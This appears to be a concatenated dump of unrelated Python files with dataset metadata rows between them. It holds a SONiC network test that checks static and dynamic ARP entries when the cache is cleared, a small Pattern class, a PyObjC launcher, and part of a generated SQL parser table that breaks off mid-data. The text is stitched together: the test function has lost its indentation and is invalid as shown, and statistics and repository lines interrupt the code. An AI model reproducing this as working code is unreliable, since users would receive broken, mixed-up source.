def test_ft_arp_clear_cache_static_and_dynamic_entries(fixture_ft_arp_clear_cache_static_and_dynamic_entries):
################## Author Details ###############
# Name: Rakesh Kumar Vooturi
# Email: rakesh-kumar.vooturi@broadcom.com
#################################################
#
# Objective - Verify that the clearing the ARP cache,
# all dynamic entries are removed and static entries are not cleared.
#
############### Test bed details ################
# TG-----DUT-----TG
#################################################
# Adding static arp entries
arp_obj.add_static_arp(dut1, data.static_arp_ip_1, data.static_arp_mac_1, vars.D1T1P1)
arp_obj.add_static_arp(dut1, data.static_arp_ip, data.static_arp_mac, data.vlan_int_1)
res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_1"], dev_handle=h1['handle'],
dst_ip=data.d1t1_ip_addr,ping_count='1', exp_count='1')
if res:
st.log("Ping succeeded.")
else:
st.warn("Ping failed.")
res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_2"], dev_handle=h2['handle'],
dst_ip=data.d1t2_ip_addr,ping_count='1', exp_count='1')
if res:
st.log("Ping succeeded.")
else:
st.warn("Ping failed.")
# Verify static and dynamic arp entries
st.log("Verifying the arp entries on the DUT")
if not arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1):
st.report_fail("ARP_entry_dynamic_entry_fail", data.t1d1_ip_addr, dut1)
if not arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1):
st.report_fail("ARP_entry_dynamic_entry_fail", data.t2d1_ip_addr, dut1)
if not arp_obj.verify_arp(dut1,data.static_arp_ip_1,data.static_arp_mac_1,vars.D1T1P1):
st.report_fail("static_arp_create_fail", dut1)
if not arp_obj.verify_arp(dut1,data.static_arp_ip,data.static_arp_mac,"",data.vlan_1):
st.report_fail("static_arp_create_fail", dut1)
st.banner("Start - Verifying dynamic and static arp entries behavior on issuing sonic-clear arp command *WITH* traffic flowing")
# TG ports reset
st.log("Resetting the TG ports")
tg.tg_traffic_control(action="clear_stats", port_handle=tg_handler["tg_ph_list"])
#TG stream formation
s1=tg.tg_traffic_config(port_handle= tg_handler["tg_ph_2"],mode='create',rate_pps=10,
mac_src=data.t2d1_mac_addr,transmit_mode="continuous",mac_dst=d1_mac_addr,
l2_encap='ethernet_ii_vlan',l3_protocol="ipv4",ip_dst_addr=data.t1d1_ip_addr,
ip_src_addr=data.t2d1_ip_addr,vlan_id=data.vlan_1,vlan="enable")
s2=tg.tg_traffic_config(port_handle= tg_handler["tg_ph_1"],mode='create',rate_pps=10,
mac_src=data.t1d1_mac_addr,transmit_mode="continuous",mac_dst=d1_mac_addr,
l2_encap='ethernet_ii_vlan',l3_protocol="ipv4",ip_dst_addr=data.t2d1_ip_addr,
ip_src_addr=data.t1d1_ip_addr)
tg.tg_traffic_control(action="run",stream_handle=[s1['stream_id'], s2['stream_id']])
# Adding wait for traffic to flow.
st.wait(5)
# Issuing sonic-clear arp command and veryfying the entries behavior.
arp_obj.clear_arp_table(dut1)
# Adding wait for traffic to flow.
st.wait(5)
# Verify static and dynamic arp entries after clear arp
st.log("Verifying the arp entries on the DUT after issuing sonic-clear arp command with traffic flowing.")
if not arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1):
st.report_fail("ARP_entry_dynamic_entry_fail", data.t1d1_ip_addr, dut1)
if not arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1):
st.report_fail("ARP_entry_dynamic_entry_fail", data.t2d1_ip_addr, dut1)
if not arp_obj.verify_arp(dut1,data.static_arp_ip_1,data.static_arp_mac_1,vars.D1T1P1):
st.report_fail("static_arp_delete_fail", dut1)
if not arp_obj.verify_arp(dut1,data.static_arp_ip,data.static_arp_mac,"",data.vlan_1):
st.report_fail("static_arp_delete_fail", dut1)
# Stop the traffic
tg.tg_traffic_control(action="stop",stream_handle=[s1['stream_id'], s2['stream_id']])
st.log("Verifying the TG stats")
traffic_details = {
'1': {
'tx_ports': [vars.T1D1P2],
'tx_obj': [tg],
'exp_ratio': [1],
'rx_ports': [vars.T1D1P1],
'rx_obj': [tg],
}
}
if not tgapi.validate_tgen_traffic(traffic_details=traffic_details, mode='aggregate', comp_type='packet_count'):
st.report_fail("traffic_verification_failed")
else:
st.log("traffic verification passed")
st.banner("End - Verified dynamic and static arp entries behavior on issuing sonic-clear arp command *WITH* traffic flowing")
st.banner("Start - Verifying dynamic and static arp entries behavior on issuing sonic-clear arp command *WITHOUT* traffic flowing")
# Issuing sonic-clear arp command and veryfying the entries behavior.
arp_obj.clear_arp_table(dut1)
# Verify static and dynamic arp entries after clear arp
st.log("Verifying the arp entries on the DUT after issuing sonic-clear arp command")
if arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1):
st.report_fail("ARP_dynamic_entry_clear_arp_fail", data.t1d1_ip_addr, dut1)
if arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1):
st.report_fail("ARP_dynamic_entry_clear_arp_fail", data.t2d1_ip_addr, dut1)
if not arp_obj.verify_arp(dut1,data.static_arp_ip_1,data.static_arp_mac_1,vars.D1T1P1):
st.report_fail("static_arp_delete_fail", dut1)
if not arp_obj.verify_arp(dut1,data.static_arp_ip,data.static_arp_mac,"",data.vlan_1):
st.report_fail("static_arp_delete_fail", dut1)
st.banner("End - Verified dynamic and static arp entries behavior on issuing sonic-clear arp command *WITHOUT* traffic flowing")
st.report_pass("test_case_passed")
| 43.976744 | 135 | 0.686409 | 2,321 | 15,128 | 4.17751 | 0.106851 | 0.030941 | 0.029497 | 0.027847 | 0.800227 | 0.765058 | 0.73257 | 0.710087 | 0.688016 | 0.665738 | 0 | 0.039965 | 0.171338 | 15,128 | 343 | 136 | 44.104956 | 0.733488 | 0.127247 | 0 | 0.54955 | 0 | 0.018018 | 0.221125 | 0.046769 | 0 | 0 | 0 | 0 | 0 | 1 | 0.031532 | false | 0.027027 | 0.031532 | 0 | 0.063063 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
f53e5ecb41c774340897deac3f8c8c6c2211b8af | 236 | py | Python | pattern.py | fearlessspider/IKH-Quant-Connect | 7545fdfcca4b83a02789e5572cd3f5e107f52985 | [
"MIT"
] | 3 | 2021-03-02T13:07:15.000Z | 2021-11-15T09:51:07.000Z | pattern.py | ikamanu/IKH-Quant-Connect | 7545fdfcca4b83a02789e5572cd3f5e107f52985 | [
"MIT"
] | null | null | null | pattern.py | ikamanu/IKH-Quant-Connect | 7545fdfcca4b83a02789e5572cd3f5e107f52985 | [
"MIT"
] | 3 | 2021-04-05T04:18:03.000Z | 2021-06-28T17:59:08.000Z | class Pattern(object):
def __init__(self, name, value):
self.name = name
self.value = value
@property
def Name(self):
return self.name
@property
def Value(self):
return self.value
| 15.733333 | 36 | 0.576271 | 28 | 236 | 4.714286 | 0.357143 | 0.181818 | 0.212121 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.330508 | 236 | 14 | 37 | 16.857143 | 0.835443 | 0 | 0 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0 | 0 | 0.2 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
f54f7c0295bcc6d1f8b914cba2883ff39de92034 | 124 | py | Python | mac/pyobjc-framework-Quartz/Examples/Core Image/CITransitionSelectorSample/main.py | albertz/music-player | d23586f5bf657cbaea8147223be7814d117ae73d | [
"BSD-2-Clause"
] | 132 | 2015-01-01T10:02:42.000Z | 2022-03-09T12:51:01.000Z | mac/pyobjc-framework-Quartz/Examples/Core Image/CITransitionSelectorSample/main.py | mba811/music-player | 7998986b34cfda2244ef622adefb839331b81a81 | [
"BSD-2-Clause"
] | 6 | 2015-01-06T08:23:19.000Z | 2019-03-14T12:22:06.000Z | mac/pyobjc-framework-Quartz/Examples/Core Image/CITransitionSelectorSample/main.py | mba811/music-player | 7998986b34cfda2244ef622adefb839331b81a81 | [
"BSD-2-Clause"
] | 27 | 2015-02-23T11:51:43.000Z | 2022-03-07T02:34:18.000Z | from PyObjCTools import AppHelper
import TransitionSelectorView
import objc
objc.setVerbose(True)
AppHelper.runEventLoop()
| 17.714286 | 33 | 0.862903 | 13 | 124 | 8.230769 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08871 | 124 | 6 | 34 | 20.666667 | 0.946903 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
f578af86918602b425f20723abe143e39c5319ce | 57,869 | py | Python | parser/team10/ProyectoPy/Gramaticas/parsetab.py | itsmjoe/tytus | 3b0341cc854d67979b766c5c8b06ed172ce0c913 | [
"MIT"
] | 1 | 2021-01-09T05:32:35.000Z | 2021-01-09T05:32:35.000Z | parser/team10/ProyectoPy/Gramaticas/parsetab.py | itsmjoe/tytus | 3b0341cc854d67979b766c5c8b06ed172ce0c913 | [
"MIT"
] | null | null | null | parser/team10/ProyectoPy/Gramaticas/parsetab.py | itsmjoe/tytus | 3b0341cc854d67979b766c5c8b06ed172ce0c913 | [
"MIT"
] | null | null | null |
# parsetab.py
# This file is automatically generated. Do not edit.
# pylint: disable=W,C,R
_tabversion = '3.10'
_lr_method = 'LALR'
_lr_signature = 'leftmasmenosleftpordivnonassocbetweenlikeleftmenormayorigualmenorigualmayorigualdiferenterightnotleftandleftorNEWLINE add alter and as asc avg between bigint boolean by cadena cadenacaracter case char character check column coma constraint cor1 cor2 create current_date current_time database databases date date_part day decimal delete desc diferente distinct div dosp double drop end enum except exist exists extract false foreing from full group having hour identificador identity if igual in inherits inner insert int integer intersect interval into is join key left like limit mas max mayor mayorigual menor menorigual menos min minute mode money month not now null num numeric offset on only or order outer owner par1 par2 pdecimal pi por porcentaje power primary punto pyc real references rename replace right second select set show smallint sqrt substring sum table text then timestamp to true truncate type union update vacio values varchar varying when where yearinicio : instruccionesinstrucciones : instrucciones NEWLINE instruccioninstrucciones : instruccioninstruccion : ddl\n\t\t\t | dmlddl : sentencia_create\n\t\t\t| sentencia_alter\n\t\t\t| sentencia_drop\n\t\t\t| sentencia_truncatedml : sentencia_insert\n\t\t\t| sentencia_update\n\t\t\t| sentencia_delete\n\t\t\t| sentencia_select\n\t\t\t| sentencia_showsentencia_create : create create_cont\n\t\t\t\t | replace create_contcreate_cont : database if_not pyccreate_cont : table if_not par1 col_tabla par2 fin_tabla create_cont : type valor as enum par1 lista_insertar par2 pycfin_tabla : inherits par1 identificador par2 pycfin_tabla : pycif_not : if not exists identificadorif_not : identificadorif_not : if not exists identificador owner igual valorif_not : identificador owner valorif_not : if not exists identificador mode igual valorif_not : identificador mode igual valorcol_tabla : col_tabla coma identificador tipo propiedadescol_tabla : col_tabla coma identificador tipocol_tabla : identificador tipo propiedadescol_tabla : identificador tipocol_tabla : foreing key lista_id references identificadorcol_tabla : col_tabla coma primary key lista_idpropiedades : null propiedadespropiedades : not null propiedadespropiedades : identity propiedadespropiedades : primary key propiedades propiedades : nullpropiedades : not nullpropiedades : identitypropiedades : primary keytipo : smallint\n\t | integer\n\t | bigint\n\t | decimal\n\t | numeric\n\t | real\n\t | double\n\t | money\n\t | character\n\t | text\n\t | date\n\t | boolean\n\t | int\n\t | identificadortipo : varying par1 num par2tipo : varchar par1 num par2tipo : character par1 num par2tipo : char par1 num par2sentencia_alter : alter alter_objetoalter_objeto : table identificador alter_cont pycalter_objeto : database identificador rename to identificador pyc\n | database identificador owner to identificador pycalter_cont : add con_add\n \t\t| drop con_drop\n \t\t| rename con_rename\n \t\t| alter con_altercon_add : column identificador tipocon_add : check par1 valor diferente vacio par2con_add : foreing key par1 identificador par2 references identificadorcon_drop : column identificador\n \t\t | constraint identificador con_rename : column identificador to identificadorcon_alter : column identificador set not nullsentencia_drop : drop objeto if_exist pycif_exist : if exists identificadorif_exist : identificadorobjeto : table\n \t | databasesentencia_truncate : truncate table identificador pycsentencia_insert : insert into identificador insert_cont pycinsert_cont : values par1 lista_insertar par2insert_cont : par1 lista_campos par2 values par1 lista_insertar par2lista_campos : identificadorvalor : numvalor : cadenavalor : pdecimalvalor : identificadorvalor : cadenacaractervalor : substring par1 valor coma valor coma valor par2lista_insertar : lista_insertar coma operacion_aritmeticalista_insertar : operacion_aritmeticasentencia_update : update identificador set identificador igual operacion_aritmetica condicionsentencia_delete : delete from delete_cont condiciondelete_cont : only identificadordelete_cont : only identificador pordelete_cont : identificador pordelete_cont : identificadorsentencia_select : select opciones_fechasentencia_select : select select_cont from lista_from condicion_contorder_by : order by identificador opcion_order order_byorder_by : condicion_contorder_by : limit operacion_aritmetica order_byorder_by : offset operacion_aritmetica order_byopcion_order : asc\n \t\t\t | desccondicion_cont : where operacion_logica fin_selectcondicion_cont : where operacion_relacional fin_selectcondicion_cont : where operacion_logica group by identificador fin_selectcondicion_cont : group by lista_id fin_selectcondicion_cont : group by lista_id having operacion_logica fin_selectcondicion_cont : where exists par1 sentencia_select par2 fin_selectcondicion_cont : where operacion_aritmetica in par1 sentencia_select par2 fin_selectcondicion_cont : where operacion_aritmetica not in par1 sentencia_select par2 fin_selectcondicion_cont : fin_selectfin_select : order_by fin_select : pycfin_select : union sentencia_selectfin_select : intersect sentencia_selectfin_select : except sentencia_selectlista_from : lista_from coma identificador as identificadorlista_from : lista_from coma identificadorlista_from : identificador as identificadorlista_from : identificadorlista_from : hacer_joinlista_from : par1 sentencia_select par2 as identificadorlista_from : par1 sentencia_select par2tipo_join : inner join\n \t\t\t | left join\n \t\t\t | right join\n \t\t\t | full join\n \t\t\t | outer jointipo_join : joinhacer_join : identificador tipo_join identificador on operacion_logicahacer_join : identificador tipo_join identificadorselect_cont : porselect_cont : distinct lista_idselect_cont : lista_idselect_cont : sen_casesen_case : case case_whencase_when : when operacion_logica then operacion_aritmetica case_whencase_when : end valorlista_id : lista_id coma operacion_aritmeticalista_id : lista_id coma identificador punto identificadorlista_id : operacion_aritmeticalista_id : identificador punto identificadorlista_id : substring par1 valor coma valor coma valor par2opciones_fecha : extract par1 tipo_date from timestamp valor par2 pycopciones_fecha : now par1 par2 pycopciones_fecha : date_part par1 valor coma interval valor par2 pycopciones_fecha : current_date pycopciones_fecha : current_time pycopciones_fecha : timestamp valor pyctipo_date : year\n \t\t\t | month\n \t\t\t | day\n \t\t\t | hour\n \t\t\t | minute\n \t\t\t | secondcondicion : pyccondicion : where operacion_logica pyccondicion : where identificador igual operacion_aritmetica pyccondicion : where exists par1 sentencia_select par2 pyccondicion : where operacion_aritmetica in par1 sentencia_select par2 pyccondicion : where operacion_aritmetica not in par1 sentencia_select par2 pycoperacion_aritmetica : operacion_aritmetica mas operacion_aritmeticaoperacion_aritmetica : operacion_aritmetica menos operacion_aritmeticaoperacion_aritmetica : operacion_aritmetica por operacion_aritmeticaoperacion_aritmetica : operacion_aritmetica div operacion_aritmeticaoperacion_aritmetica : par1 operacion_aritmetica par2operacion_aritmetica : valoroperacion_aritmetica : sum par1 operacion_aritmetica par2operacion_aritmetica : avg par1 operacion_aritmetica par2operacion_aritmetica : max par1 operacion_aritmetica par2operacion_aritmetica : pioperacion_aritmetica : power par1 operacion_aritmetica par2operacion_aritmetica : sqrt par1 operacion_aritmetica par2operacion_aritmetica : valor between valoroperacion_aritmetica : valor is distinct from valoroperacion_aritmetica : valor is not distinct from valoroperacion_aritmetica : valor is nulloperacion_aritmetica : valor is not nulloperacion_aritmetica : valor is trueoperacion_aritmetica : valor is not trueoperacion_aritmetica : valor is falseoperacion_aritmetica : valor is not falseoperacion_relacional : operacion_relacional mayor operacion_relacionaloperacion_relacional : operacion_relacional menor operacion_relacionaloperacion_relacional : operacion_relacional mayorigual operacion_relacionaloperacion_relacional : operacion_relacional menorigual operacion_relacionaloperacion_relacional : operacion_relacional diferente operacion_relacionaloperacion_relacional : operacion_relacional igual operacion_relacionaloperacion_relacional : operacion_aritmeticaoperacion_logica : operacion_logica and operacion_logicaoperacion_logica : operacion_logica or operacion_logicaoperacion_logica : operacion_logica not operacion_logicaoperacion_logica : operacion_relacionalsentencia_show : show databases show_contshow_cont : pycshow_cont : ins_like pycins_like : like porcentaje identificador porcentajeempty :'
_lr_action_items = {'create':([0,25,],[15,15,]),'replace':([0,25,],[16,16,]),'alter':([0,25,78,],[17,17,130,]),'drop':([0,25,78,],[18,18,128,]),'truncate':([0,25,],[19,19,]),'insert':([0,25,],[20,20,]),'update':([0,25,],[21,21,]),'delete':([0,25,],[22,22,]),'select':([0,25,148,225,226,227,308,377,385,423,428,464,],[23,23,23,23,23,23,23,23,23,23,23,23,]),'show':([0,25,],[24,24,]),'$end':([1,2,3,4,5,6,7,8,9,10,11,12,13,14,26,30,31,41,70,97,98,115,116,119,133,135,140,141,157,183,193,208,218,221,223,224,246,304,315,316,317,348,350,370,371,375,381,383,384,390,391,421,430,452,460,466,467,468,475,477,478,481,482,484,485,487,],[0,-1,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-60,-99,-2,-151,-152,-198,-199,-17,-75,-80,-94,-160,-153,-200,-61,-81,-100,-115,-116,-117,-149,-161,-118,-119,-120,-18,-21,-62,-63,-93,-107,-102,-108,-103,-104,-162,-110,-19,-163,-101,-148,-150,-164,-109,-112,-111,-20,-165,-113,-114,]),'NEWLINE':([2,3,4,5,6,7,8,9,10,11,12,13,14,26,30,31,41,70,97,98,115,116,119,133,135,140,141,157,183,193,208,218,221,223,224,246,304,315,316,317,348,350,370,371,375,381,383,384,390,391,421,430,452,460,466,467,468,475,477,478,481,482,484,485,487,],[25,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-60,-99,-2,-151,-152,-198,-199,-17,-75,-80,-94,-160,-153,-200,-61,-81,-100,-115,-116,-117,-149,-161,-118,-119,-120,-18,-21,-62,-63,-93,-107,-102,-108,-103,-104,-162,-110,-19,-163,-101,-148,-150,-164,-109,-112,-111,-20,-165,-113,-114,]),'database':([15,16,17,18,],[27,27,33,36,]),'table':([15,16,17,18,19,],[28,28,32,35,37,]),'type':([15,16,],[29,29,]),'into':([20,],[38,]),'identificador':([21,23,27,28,29,32,33,34,35,36,37,38,40,44,45,52,85,87,89,93,96,100,101,102,103,104,105,106,108,109,110,111,112,113,114,121,123,125,134,138,142,184,185,187,189,195,199,200,202,204,205,206,209,212,219,220,229,230,231,232,234,241,248,249,250,251,252,253,254,255,256,257,258,259,269,288,289,290,291,292,305,314,318,323,324,325,326,327,329,331,332,351,367,368,373,380,392,393,397,399,400,401,403,412,414,420,426,431,473,],[39,56,73,73,76,78,79,82,-78,-79,83,84,88,76,76,56,139,143,146,76,76,167,76,76,76,76,172,76,76,76,76,76,76,76,76,76,189,76,207,211,214,265,266,76,270,291,294,295,296,297,298,299,76,76,309,76,76,76,321,322,-133,76,333,76,76,76,76,76,76,76,76,76,76,76,351,56,76,76,270,76,76,56,389,-128,-129,-130,-131,-132,76,76,76,270,416,417,76,425,76,436,76,76,76,442,56,451,76,76,461,76,483,]),'from':([22,42,46,51,53,54,55,56,62,65,66,67,68,76,99,107,149,150,151,152,153,154,155,156,158,159,161,162,163,166,167,168,169,170,171,172,177,242,243,244,245,260,261,262,263,264,330,333,395,398,469,471,],[40,89,-171,-136,-138,-139,-145,-88,-175,-85,-86,-87,-89,-88,-137,-140,240,-154,-155,-156,-157,-158,-159,-170,-178,241,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-142,331,-182,-184,-186,-172,-173,-174,-176,-177,-179,-144,-180,-141,-90,-90,]),'extract':([23,],[43,]),'now':([23,],[47,]),'date_part':([23,],[48,]),'current_date':([23,],[49,]),'current_time':([23,],[50,]),'timestamp':([23,240,],[45,329,]),'por':([23,46,55,56,62,65,66,67,68,76,88,91,143,156,158,161,162,163,166,167,168,169,170,171,175,178,179,180,181,182,214,215,243,244,245,260,261,262,263,264,301,303,313,319,320,330,335,376,395,419,461,469,471,],[51,-171,103,-88,-175,-85,-86,-87,-89,-88,144,103,217,-170,-178,-181,-183,-185,103,-88,103,103,-168,-169,103,103,103,103,103,103,-88,103,-182,-184,-186,-172,-173,-174,-176,-177,103,103,103,103,103,-179,103,103,-180,103,-88,-90,-90,]),'distinct':([23,94,160,],[52,159,242,]),'substring':([23,29,44,45,52,93,96,100,101,102,103,104,106,108,109,110,111,112,113,114,121,125,142,187,209,212,220,229,230,241,249,250,251,252,253,254,255,256,257,258,259,288,289,290,292,305,314,329,331,332,373,392,397,399,400,403,414,420,426,431,],[57,77,77,77,57,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,57,77,77,77,77,57,77,77,77,77,77,77,77,77,57,77,77,57,77,]),'case':([23,],[58,]),'par1':([23,43,44,47,48,52,57,59,60,61,63,64,65,66,67,68,73,74,76,77,84,89,100,101,102,103,104,108,110,111,112,113,114,137,142,186,191,196,209,212,216,220,229,230,250,251,252,253,254,255,256,257,258,259,266,267,280,285,286,287,288,289,293,305,306,312,314,349,373,374,378,386,392,403,420,426,429,431,440,441,471,],[44,90,44,95,96,44,106,110,111,112,113,114,-85,-86,-87,-89,-23,123,-88,125,138,148,44,44,44,44,44,44,44,44,44,44,44,209,44,-25,289,292,44,44,308,44,44,44,44,44,44,44,44,44,44,44,44,44,-22,-27,358,359,360,361,44,44,367,44,377,385,44,401,44,420,423,428,44,44,44,44,464,44,-24,-26,-90,]),'sum':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,]),'avg':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,]),'max':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,]),'pi':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,]),'power':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,]),'sqrt':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,]),'num':([23,29,44,45,52,93,96,100,101,102,103,104,106,108,109,110,111,112,113,114,121,125,142,187,209,212,220,229,230,241,249,250,251,252,253,254,255,256,257,258,259,288,289,290,292,305,314,329,331,332,358,359,360,361,373,392,397,399,400,403,414,420,426,431,],[65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,408,409,410,411,65,65,65,65,65,65,65,65,65,65,]),'cadena':([23,29,44,45,52,93,96,100,101,102,103,104,106,108,109,110,111,112,113,114,121,125,142,187,209,212,220,229,230,241,249,250,251,252,253,254,255,256,257,258,259,288,289,290,292,305,314,329,331,332,373,392,397,399,400,403,414,420,426,431,],[66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,]),'pdecimal':([23,29,44,45,52,93,96,100,101,102,103,104,106,108,109,110,111,112,113,114,121,125,142,187,209,212,220,229,230,241,249,250,251,252,253,254,255,256,257,258,259,288,289,290,292,305,314,329,331,332,373,392,397,399,400,403,414,420,426,431,],[67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,]),'cadenacaracter':([23,29,44,45,52,93,96,100,101,102,103,104,106,108,109,110,111,112,113,114,121,125,142,187,209,212,220,229,230,241,249,250,251,252,253,254,255,256,257,258,259,288,289,290,292,305,314,329,331,332,373,392,397,399,400,403,414,420,426,431,],[68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,]),'databases':([24,],[69,]),'if':([27,28,34,35,36,],[72,72,81,-78,-79,]),'set':([39,297,],[85,369,]),'only':([40,],[87,]),'par2':([41,46,55,56,62,65,66,67,68,76,91,95,97,98,156,157,158,161,162,163,166,167,168,169,170,171,172,178,179,180,181,182,188,210,211,218,221,223,224,239,243,244,245,246,260,261,262,263,264,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,300,301,315,316,317,330,333,353,354,356,363,379,381,383,384,390,391,394,395,396,402,404,405,406,407,408,409,410,411,416,419,422,427,430,439,442,443,444,445,446,447,448,449,450,451,453,454,457,459,463,466,467,468,469,471,477,478,480,481,485,487,],[-99,-171,-145,-88,-175,-85,-86,-87,-89,-88,156,164,-151,-152,-170,-153,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,260,261,262,263,264,268,302,-84,-100,-115,-116,-117,328,-182,-184,-186,-149,-172,-173,-174,-176,-177,-55,-31,-42,-43,-44,-45,-46,-47,-48,-49,-50,-51,-52,-53,-54,372,-92,-118,-119,-120,-179,-144,-30,-38,-40,413,424,-107,-102,-108,-103,-104,437,-180,438,-29,-34,-39,-36,-41,447,448,449,450,455,-91,458,462,-110,469,470,-28,-33,-35,-37,-58,-56,-57,-59,-32,471,472,474,476,479,-101,-148,-150,-90,-90,-109,-112,486,-111,-113,-114,]),'mas':([46,55,56,62,65,66,67,68,76,91,156,158,161,162,163,166,167,168,169,170,171,175,178,179,180,181,182,214,215,243,244,245,260,261,262,263,264,301,303,313,319,320,330,335,376,395,419,461,469,471,],[-171,101,-88,-175,-85,-86,-87,-89,-88,101,-170,-178,-181,-183,-185,101,-88,-166,-167,-168,-169,101,101,101,101,101,101,-88,101,-182,-184,-186,-172,-173,-174,-176,-177,101,101,101,101,101,-179,101,101,-180,101,-88,-90,-90,]),'menos':([46,55,56,62,65,66,67,68,76,91,156,158,161,162,163,166,167,168,169,170,171,175,178,179,180,181,182,214,215,243,244,245,260,261,262,263,264,301,303,313,319,320,330,335,376,395,419,461,469,471,],[-171,102,-88,-175,-85,-86,-87,-89,-88,102,-170,-178,-181,-183,-185,102,-88,-166,-167,-168,-169,102,102,102,102,102,102,-88,102,-182,-184,-186,-172,-173,-174,-176,-177,102,102,102,102,102,-179,102,102,-180,102,-88,-90,-90,]),'div':([46,55,56,62,65,66,67,68,76,91,156,158,161,162,163,166,167,168,169,170,171,175,178,179,180,181,182,214,215,243,244,245,260,261,262,263,264,301,303,313,319,320,330,335,376,395,419,461,469,471,],[-171,104,-88,-175,-85,-86,-87,-89,-88,104,-170,-178,-181,-183,-185,104,-88,104,104,-168,-169,104,104,104,104,104,104,-88,104,-182,-184,-186,-172,-173,-174,-176,-177,104,104,104,104,104,-179,104,104,-180,104,-88,-90,-90,]),'coma':([46,53,55,56,62,65,66,67,68,76,99,145,146,147,156,158,161,162,163,165,166,167,168,169,170,171,172,173,175,176,188,192,243,244,245,260,261,262,263,264,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,300,301,309,321,322,328,330,333,334,336,337,338,339,340,341,342,343,344,353,354,356,362,363,364,388,395,402,404,405,406,407,419,